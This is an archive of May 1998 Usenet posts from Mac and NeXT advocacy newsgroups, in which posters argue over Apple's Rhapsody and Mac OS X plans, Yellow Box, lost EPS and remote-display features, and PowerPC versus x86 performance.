> : Why wouldn't it??? The whole BSD/Mach infrastructure in OS X is Rhapsody!
> If you are correct, then this is outstanding!
It's correct. OS X is really Rhapsody with Carbon and Blue integrated
into the screen rather than Blue in a separate window/screen, with a
revamped imaging model. (And a Carbon finder, apparently.) :(
> : Alas, this appears to be something of a casualty:
> : "The EPS image rep will degrade so that we'll only get previews on
> : the screen, and they will only print on PS printers (although you can
> : run them through distiller and then load the PDF into an NSImageRep
> : (this will be added)."
> This is by far and away the most critical feature to me. Without seemless EPS
> inclusion, I'd say MacOSX is worth about 50% to me than it would be otherwise,
> since I'd primarily use it for document generation.
If I can convert my .eps files into something else that will embed
smoothly (EPDF??), then I don't care too much. Otherwise it's a problem,
because all of my figures are in .eps.
In all likelihood, OS X will have _something_ to take the place of .eps
for embedded figures..
> : Why would you have moved before? What were your priorities?
> My Approximate top 3 important features (decreasing in importance) are:
> 1. Seemless, visible .eps insertion.
> 2. Symbolic links accessible through a command line interface.
> 3. Compatible file transfer to other OSes through the CLI (e.g. sending a .pdf file to a Windows box via CLI based FTP without having to deal with fork issues)
> 4. Remote display capability.
> How much of this will be left in OSX? All of it is in NS3.2.
1 is gone, but that doesn't rule out some other format for embedded
graphics. 2 will probably be there, IMHO. For 3, I'm not sure what
they're doing, but I think that they could work it so that the fork
stuff integrates smoothly with a CLI. Dunno. 4 is gone but may come
back eventually.
> : There are some improvements in the imaging model, lots of system-level
> : enhancements, overall improved performance, better security, a number
> : of very interesting Yellow enhancements (including an unsurpassed
> : scripting architecture!), Java, Quicktime, AIAT, and lots of other
> : frameworks, and the superiority of Yellow-based apps.
> Most of these are improvements over MacOS7,8.
They're also all improvements over OPENSTEP for Mach 4.2. I was
specifically listing things that were improvements over NEXTSTEP.
> (except maybe Java) I already
> have a better scripting architecture (Perl) than what AppleScripting seems
> like it will be.
Perl ain't too good at controlling OpenStep apps. Besides, the OS
X scripting architecture looks pretty language neutral, so you could
probably hook a Perl interpreter into it somehow.
> On what other OSes can I run AppleScript?
Windows, if you have Yellow Box installed. Of course, it would mostly
only be useful for controlling Yellow apps.
Remember, the primary goal of AppleScript is not as a general-purpose
programming language, but to control programatically control GUI
applications. You can do general-purpose scripting with it, but it's
not ideal for that.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 14:56:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561E3EA.4680E7AE@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
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Michael Peck wrote:
> An X server for Rhapsody would be a big start. Another would be Yellow
> Box for Linux (sell it! We'll buy it, honest!). QuickTime for Linux
> would be another huge plus.
What Apple (With MacOS X/Rhapsody) is able to be is a 'run it all here' platform.
WinTel/BeOS on emulation, Unix binary compatiblity - via the BSD 'purple' box,
YellowBox, and MacOS apps.
> No, that's not quite it. It's that they're not likely to buy a
> Macintosh.
And why? Because it's not compatible with M$? Not Intel? Or that it's Apple
equipment?
> That's the key *right there*. Apple has to prove itself to these people,
> and Jobs will find it easier to sell a $200 Rhapsody to the doubters
> than to sell a $2000 Macintosh to them.
Apple has MUCH to do to 'prove itself' The stealth marketing, cancelled
technologies, developer relations, hi-priced hardware, etc la all add to a 'not
pro-apple' to 'anti-apple' way of thinking.
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <Et81xu.25G@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchica
Date: Tue, 19 May 1998 20:50:39 GMT
--
To reply to me, please remove the _ from my email address.
Don Arbow wrote in message ...
>In article <Et7rF0.8DH@midway.uchicago.edu>, "Jonathan Eric Miller"
><_jemiller@midway.uchicago.edu> wrote:
>
>: --
>: To reply to me, please remove the _ from my email address.
>:
>: Carl Gustafson wrote in message ...
>: >In article <stevehix-1805981951020001@ip64.safemail.com>,
>: >stevehix@safemail.com (Steve Hix) wrote:
>: >
>: >> >Since when has Microsoft or Intel ever
>: >> > scratched projects of this magnitude?
>: >>
>: >> NT-PPC? MS "Bob"?
>:
>:
>: NT-PPC, who cares, PowerPC doesn't offer a significant advantage in
>: performance over x86.
>:
>
>
>Huh? Just last week at WWDC, Apple ran a comparison of a 266 Mhz iMac
>against a Compaq Presario, the iMac won. Another comparison of a 400 Mhz
>G3 versus a 400 Mhz Pentium, the G3 was almost *twice* as fast as the
>Pentium.
At what, Photoshop? I don't use Photoshop, so, that means nothing to me. The
SPEC benchmarks are more representative of the work that I do and the
PowerPC isn't faster at those. If I was going to use a non-x86 CPU I would
go with one that offers a real advantage in performance such as an Alpha.
>: MS "Bob", you've got me on that one, but, it still doesn't compare to
>: Copeland, OpenDoc, or CHRP.
>:
>: >OS-2?
>:
>:
>: I'm not sure what Microsoft's exact involvement was in OS/2 way back
when,
>: but, it's pretty irrelevant now. That's IBM's bag.
>:
>
>Why is that irrelevant? OS/2 was Microsoft's future OS choice,
>essentially MSoft's Copland, before anyone ever thought of NT. I'm sure
>there were developers who devoted time and resources to create apps for
>OS/2, but were then burned when MSoft changed course.
OS/2 actually made it to market and is still alive today, albeit on it's
death bed. But, like I said, that's IBM's bag.
Jon
>Don
>
>--
>Don Arbow, Partner, CTO
>EveryDay Objects, Inc.
>don_arb@wolfenet.com <-- remove underscore to reply
>http://www.edo-inc.com
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 19 May 1998 17:09:55 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jssf3$v71$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jpdf9$1cc$92@ironhorse.plsys.co.uk> <1d98kqt.tb8x4s1sfpukgN@dialup78-1-9.swipnet.se> <6jsm87$r9l$2@msunews.cl.msu.edu>
In article <6jsm87$r9l$2@msunews.cl.msu.edu>, spammers@ruin.the.internet.channelu.com wrote:
> If your right then since Rhapsody 1.0 is first/last version of Rhapsody
> and MacOS X is a LONG ways off still AND most MacOS folks (I've
> heard estimates of 2/3) are still running 7.x then I don't know why
> anything I've heard would encourage MacOS developers. If they
> were planning on going to YB then nothing has changed except
> that Rhapsody may be still born (that would be percieved as a
> negative).
Plenty has changed: YB will be shipping with every copy of Apple's
_consumer_ OS, and will work better than YB on MacOS would have.
Whether or not a Rhapsody after 1.0 ships is irrelevant because OS X
will have everything Rhapsody 1.0 has and more.
> Seems to me MacOS developers have more reason to stay away from
> YB than before, and more reason to keep waiting.
What more reason do they have to stay away or wait??
> And still no reason
> to get excited about YB since it's not selling to the masses in any
> form yet.
It's not even shipping yet!!
They have _lots_ of reason to get excited about YB, as anyone who has
actually used the technology would know. It is an extremely superior
development environment, that will not only allow them to produce better
Mac apps, but Windows ones as well.
> How much work does it take to release and sell a YB for windows
> so developers can start pushing their apps in that market, AND
> for there to be a developing YB market on 95/NT (at least).
Not very much work, Apple is just about ready to do it now. They're
waiting for YB enhancements to be folded into it before they release it,
alongside Rhapsody 1.0.
> How long has Apple held back YB on windows/NT for Rhapsody/
> BlueBox PPC..
They're still changing the YB API, you know. In the meantime, there's
always OpenStep Enterprise, and the developer version of YB/Windows has
of course been available for some time.
> I kind of think it was very stupid on Apple's part
> not to just do a straight port of Openstep to PPC,
That's pretty much what RDR1 _is_, except for the Blue Box. Anyway,
Rhapsody/PPC shipped to developers before Blue Box was finished, so they
weren't exactly waiting around for it.
> Do YB to the Openstep spec. Put a price on it, and sell it.
What, publicly? Who would have bought it? It's not a Mac OS in
any form. They might as well have just bought OPENSTEP for Mach.
And the full-fledged Rhapsody would have broken all binary compatibility!
> I propose that If Apple had sold YB and a PPC port of Openstep
> sometime in August/September 97 w/o any GUI modifications (not
> as a Mac replacement - but a prelude) they would have had
> at least a milion YB installed base, and growing by now.
NO WAY. Again, who would have bought it?? OPENSTEP for Mach wasn't
selling like that. Why would someone buy the same thing, on _less_
popular hardware?? Just because Apple says "someday this will run Mac
applications, and oh, by the way, when it does it will probably also break
all your existing apps"? Riiight. No one would have given Rhapsody the
least bit of credibility in potential market success without it being,
in many ways, a Macintosh OS.
> And Apple
> can proclaim that their take on Rhapsody was correct - a
> self fufilling prophecy. YB and MacOS Developers will
> have to wait a very long time to get access to the small PPC
> markets.
No longer than they would have otherwise. I guarantee you, if Apple
had shipped "OPENSTEP for PPC", no one would have bought it.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No more Rhapsody (Was: STEPWISE and Scott Kudos)
Date: 19 May 1998 17:11:37 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jssi9$v7p$1@crib.bevc.blacksburg.va.us>
References: <355c8968.0@206.25.228.5> <6jqhko$sil$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1905980953030001@wil115.dol.net> <3561DE79.794BDF32@ctron.com>
In article <3561DE79.794BDF32@ctron.com>, "A. J. LaSalle" <alasalle@ctron.com> wrote:
> Will a developer be able to develop YellowBox apps with Win98/NT
> native tools?
Win98/NT native as in MFC-based tools or something? A developer will be
able to use YellowBox-based tools to develop YellowBox apps on Windows.
Why would you want MFC-based tools?
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: Mon, 18 May 1998 13:33:41 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1805981333410001@132.236.171.104>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>
In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
> All the news on microsoft says its os's have about %90 of the pc market.
There are different numbers depending on whether you're looking at current
sales or installed base. (In addition to the usual different results you
get when different groups attempt to measure the same quantity.)
At the Senate hearings, McNealy quoted Windows market share numbers (but
didn't give a source) of 90% for installed base and 95% for current
shipments.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: Mon, 18 May 1998 13:35:59 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1805981335590001@132.236.171.104>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com> <jpolaski-1705982227280001@d147-145.ce.mediaone.net>
In article <jpolaski-1705982227280001@d147-145.ce.mediaone.net>,
jpolaski@NO.wwa.com (Jim Polaski) wrote:
> however, I read one account this weekend where M$ says they have 60
> million Win95 users, which happens to be what Apple claimes use the Mac
> OS.
Do they count copies of Windows sold through licenses with SoftWindows and
Virtual PC? Probably. Do they count copies of Windows 95 that were wiped
out when the buyer of the PC installed Linux? Probably.
I'm sure this doesn't account for very many users, but it just points out
the problems with try to count the number of people who are actually
*using* a product.
I own Word 6 for the Mac, but I haven't used it since the week I bought
it. It sucked.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <Et82oI.37C@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <joe.ragosta-190598095047
<Et7vDG.EKB@midway.uchicago.edu> <3561DB48.1F3D2AB7@milestonerdl.com>
Date: Tue, 19 May 1998 21:06:40 GMT
--
To reply to me, please remove the _ from my email address.
m rassbach wrote in message <3561DB48.1F3D2AB7@milestonerdl.com>...
>
>
>Jonathan Eric Miller wrote:
>
>> And the features aren't just
>> trivial ones. Just ask Apple. It'll probably be 4 years before Apple is
to
>> where Microsoft is today.
>
>Wrong. With the Unix base shipping in 4 months, Apple has better
technology
>then Microsoft has shipping.
Which technology are you referring to? If I wanted to run UNIX, I'd go with
a leader.
>Won't have the same volume of applications (many choices for an application
>class VS one {or none!} for that same application class) but with the BSD
core,
>Apple's OS draws on over 25 years of code development.
How about Mac OS X, the OS that most consumers will be running?
Also, what about driver support on Rhapsody? There's no way they're going to
build up driver support over night on the Intel side of things and on the
PPC side of things your options are limited.
>NT has the chief arthitect of VMS as its designer....and VMS is HOW
successful?
VMS was very successful once upon a time. Kind of like Apple.
Jon
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 19 May 1998 14:55:34 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561E3B5.AF80162B@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
<3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu>
<355B2F43.D365D2F1@spamtoNull.com> <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu>
<355F6C41.F47A4916@spamtoNull.com> <6jpdf9$1cc$92@ironhorse.plsys.co.uk>
<1d98kqt.tb8x4s1sfpukgN@dialup78-1-9.swipnet.se> <6jq2vk$1cc$104@ironhorse.plsys.co.uk>
<1d98xb4.281o9x9ja7cN@dialup78-1-9.swipnet.se> <6jriic$1cc$106@ironhorse.plsys.co.uk>
<1d9a0me.15w72801bl9czoN@dialup180-3-8.swipnet.se> <6js24v$1cc$110@ironhorse.plsys.co.uk>
<1d9aj1h.11c9g3k1mkeupsN@dialup180-3-8.swipnet.se> <6jsm87$r9l$2@msunews.cl.msu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
spammers@ruin.the.internet.channelu.com wrote:
> I propose that If Apple had sold YB and a PPC port of Openstep
> sometime in August/September 97 w/o any GUI modifications (not
> as a Mac replacement - but a prelude) they would have had
> at least a milion YB installed base, and growing by now.
Just taken ANY of the improvements of OpenSTEP and made that Rhapsody 1.0
on Intel, with the new release in 4 months (2.0), then the MacOS X product
would have been Rhapsody 3.0.
Thus satisfying the 'no release is worth having until 3.0' "rule".
Apple would have had developer feedback AND a cash flow
> This would have made all of the developers much happier
> and much more eager to do YB ports.. Not to mention put money
> in the pockets of all the current YB developers!!
Oh, and that too.
Plus: It's a shipping Apple product, and the developers who don't develop
for non-shipping products would have been satisifyed.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 19 May 1998 17:21:21 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jst4h$v94$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <joe.ragosta-190598095047
<Et7vDG.EK <Et82oI.37C@midway.uchicago.edu>
In article <Et82oI.37C@midway.uchicago.edu>, "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu> wrote:
> To reply to me, please remove the _ from my email address.
> m rassbach wrote in message <3561DB48.1F3D2AB7@milestonerdl.com>...
> >Jonathan Eric Miller wrote:
> >> It'll probably be 4 years before Apple is to where Microsoft is today.
> >Wrong. With the Unix base shipping in 4 months, Apple has better
> >technology then Microsoft has shipping.
> Which technology are you referring to?
Which technology are _you_ referring to, that Microsoft is shipping today,
that Apple will require 4 years to match?
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: NXHosting is dead ?
Message-ID: <cdoutyEt5yBB.5zq@netcom.com>
Organization: Netcom
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jij29$dq6$5@news.seicom.net> <Et0nDE.Ixo@abulafia.in-berlin.de> <6jivae$1ju$1@camel19.mindspring.com>
Date: Mon, 18 May 1998 17:37:59 GMT
Sender: cdouty@netcom11.netcom.com
In article <6jivae$1ju$1@camel19.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <355CC6E3.F30A0812@nstar.net> Michael J. Peck,
>mjpeck@nstar.net writes:
>>I don't really think VNC is a viable solution. VNC simply takes a
>>picture of the current framebuffer and sends it over the wire with your
>>choice of compression. Unlike a real remotability protocol, e.g. X, it's
>>inefficient and barely-usable over anything less than 10Mbps Ethernet.
>>
>>MJP
>
>Timbuktu software works fine even over a 28.8 connection.
>
>The problem is, NXHosting lets you host multiple client sessions off of a
>single computer.
>Nothing like that with Timbuktu or PCAnywhere.
>
>
>Dammit, this needs to be put back into place ASAP.
I hated pcAnywhere. I haven't used Timbuktu for years, so I have a
weaker dislike of it. Simply blasting the whole desktop across the wire
is a poor cousin to remote display of certain apps. Even with all sorts
of partial screen redraw optimization, compression, and the like
pcAnywhere is slow. This might be Windows' fault, but the fact remains.
IMNSHO, apps like pcAnywhere and Timbuktu are mostly useful for remote
user support. Even there, they fail a little bit. It is very handy to
see the same screen that the user you are trying to support is seeing,
and move their mouse, type on their keyboard, etc. That's the niche that
these programs fill since X Windows and NXHosting don't do that.
For most people's work, selectively displaying the GUI of several
programs running on remote machines on your local screen is much better.
(OK, most people don't do this at all, but in the workstation world it's
common.) Yes, NXHosting has a whole raft of technical problems and
simply won't work in the new DPS-less world, but we need a capable
replacement which is always available. It shouldn't require developer
effort to make their programs remoteable.
Please, Apple, give us at least a "roadmap" which shows when remote
display will come back into the core OS. An artifical "third-party
opportunity" and some unspecified "hooks" simply don't cut it.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
Date: Tue, 19 May 1998 14:22:25 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <stevehix-1905981422250001@ip47.safemail.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <carl.gustafson-1905980802430001@stelis.ece.drexel.edu>
In article <carl.gustafson-1905980802430001@stelis.ece.drexel.edu>,
carl.gustafson@no.spam.welcome (Carl Gustafson) wrote:
> In article <stevehix-1805981951020001@ip64.safemail.com>,
> stevehix@safemail.com (Steve Hix) wrote:
>
> > >Since when has Microsoft or Intel ever
> > > scratched projects of this magnitude?
> >
> > NT-PPC? MS "Bob"?
>
> OS-2?
Well, in theory OS/2 is not yet dead. (Wasn't that the first line
of the old Polish national anthem?)
Date: Tue, 19 May 1998 14:28:20 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <stevehix-1905981428200001@ip47.safemail.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu>
In article <Et7rF0.8DH@midway.uchicago.edu>, "Jonathan Eric Miller" wrote:
> Carl Gustafson wrote in message ...
> >stevehix@safemail.com (Steve Hix) wrote:
> >> >Since when has Microsoft or Intel ever
> >> > scratched projects of this magnitude?
> >>
> >> NT-PPC? MS "Bob"?
> NT-PPC, who cares, PowerPC doesn't offer a significant advantage in
> performance over x86.
ROTFLMAO!!
"No significant advantage" meaning it doesn't matter than PPC systems
trounce x86 with *higher* clock speeds in a lot of benchmarks...even
when the PPC is hobbled by the not-inconsequential perfomrance hit
of running MacOS, right?
Good thing the benchmarks aren't run with the PPC using a faster
OS...
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 14:02:15 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1805981402150001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104> <joe.ragosta-1805980753270001@wil100.dol.net>
In article <joe.ragosta-1805980753270001@wil100.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> OK. Try:
> http://www.zdnet.com/macweek/mw_1219/nw_appleosx.html
>
> " Rhapsody. It will continue as a product line, Apple said, and remain
> focused on publishing and server markets."
The full text only mentions a commitment to ship Rhapsody 1.0:
=====
Rhapsody. It will continue as a product line, Apple said, and remain
focused on publishing and server markets.
At WWDC, Apple released Developer Release 2 of Rhapsody on PowerPC. DR2
includes the Blue Box, BSD 4.4, support for G3 machines, an improved
virtual memory system and better multithreading, Apple said. DR2 for Intel
and Yellow Box for Windows will ship in several weeks, the company said.
Looking forward, Apple said it will release Rhapsody 1.0 this fall. Apple
said its goal for the first customer release is a polished OS, but several
new features should make the release. Apple plans to include scripting,
but said AppleScript itself may not be ready in time. The fall release
will also include ColorSync, the company said, and the Windows version
will gain ActiveX support.
=====
What are the goals for the second release? At the very least they should
know what their goals are, and they shouldn't shy away from making that
info public. After all, they've made their goals for OS X conspicuously
public.
If Apple does have a commitment to Intel for the long term they shouldn't
object to stating it.
> The plan for putting Mac OS X and Rhapsody on a common core OS allows
> the company eventually to simplify its OS plans, Apple said. "Over time,
> we are working on a converged OS," said Bertrand Serlet, vice president
> of platform technologies. "Once you have the same operating system
> underneath the Mac OS and underneath Rhapsody, you would like to
> converge."
>
> I don't see anything here that says that Rhapsody has been changed in any
> way. Nothing about dropping x86. Nothing about dropping YB.
Read between the lines, though. What is the converged OS? MacOS X. Does
it run on the x86? No.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 14:03:35 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1805981403350001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1505981832560001@132.236.171.104> <6jij5k$bgm$1@crib.bevc.blacksburg.va.us> <ericb-1705981606110001@132.236.171.104> <6jnioc$q2s$1@crib.bevc.blacksburg.va.us>
In article <6jnioc$q2s$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Granted, but on the other hand, Scott Anguish is not MacWeek, he's very
> careful about what he reports, _and_ we have independent corroboration
> from an Apple employee that YB at least runs on the Windows betas in
> the Apple labs. That's credible enough for me.
The fact that Apple has bothered to test YB on the Windows betas is
certainly reassuring, although I still don't see what Apple has to gain by
not making their support for the x86 public. (Whereas I do see what they
have to gain by hiding the fact that they intend to slowly phase it out.)
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 13:57:42 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1805981357420001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net>
In article <joe.ragosta-1805980747570001@wil100.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> I see. So it's safe to assume that there will never be a Windows NT 6.0?
> After all, there's no formal announcment.
>
> Or, Intel will never ship an x86 chip after 1999? No announcement.
>
> Darn--I better find an alternative to Office. There won't be a product
> after Office 99. (by your logic).
Companies need to map out their strategies ahead of time. Apple has
mapped out its strategy for OSes that run MacOS applications through the
end of 1999. It has *not* done the same for the yellow box. Why?
I think it is legitimate to expect Apple to announce where the Yellow Box
will be in 18 months. 48 month? No. 18 months? Yes.
And you're wrong about Office. Didn't Microsoft agree last August to
develop Office on the Mac for the next five years?
> Apple has already made such a statement. See MacWeek this week. The plan
> is very, very simple if people would stop jumping to conclusions:
Do you have a URL? I have been following MacWeek but I have yet to see a
direct, unambiguous statement from an Apple employee.
The information you present does not address how long these various
configurations will be around.
> Did you notice that all the "YB is dead", "Rhapsody is dead", etc posts
> never have any evidence to back up their position (other than some badly
> twisted distortions of what someone said)?
As far as I can tell the same is true of the posts that say it hasn't
died, which is why I think it's all up in the air.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: SF Examiner quote
Date: Mon, 18 May 1998 17:55:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jpsmm$p02$1@nnrp1.dejanews.com>
Here's a lovely quote from a _San Francisco Examiner_ article on Mac OS
X:
:: While Microsoft fights in court to defend its
:: monopoly-created power to force-feed its crummy
:: products to unhappy users, Jobs has been busy
:: giving everyone what they want.
The rest of the article is equally positive. Nice to see some good press for a
change.
Full article is at
http://www.sfgate.com/cgi-bin/article.cgi?file=/examiner/hotnews/stories/17/ap
ple.dtl
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 15:31:43 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561EC2F.C1AE5CD2@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561CC4E.ABC15086@milestonerdl.com> <6js6uk$j2v$1@ns3.vrx.net>
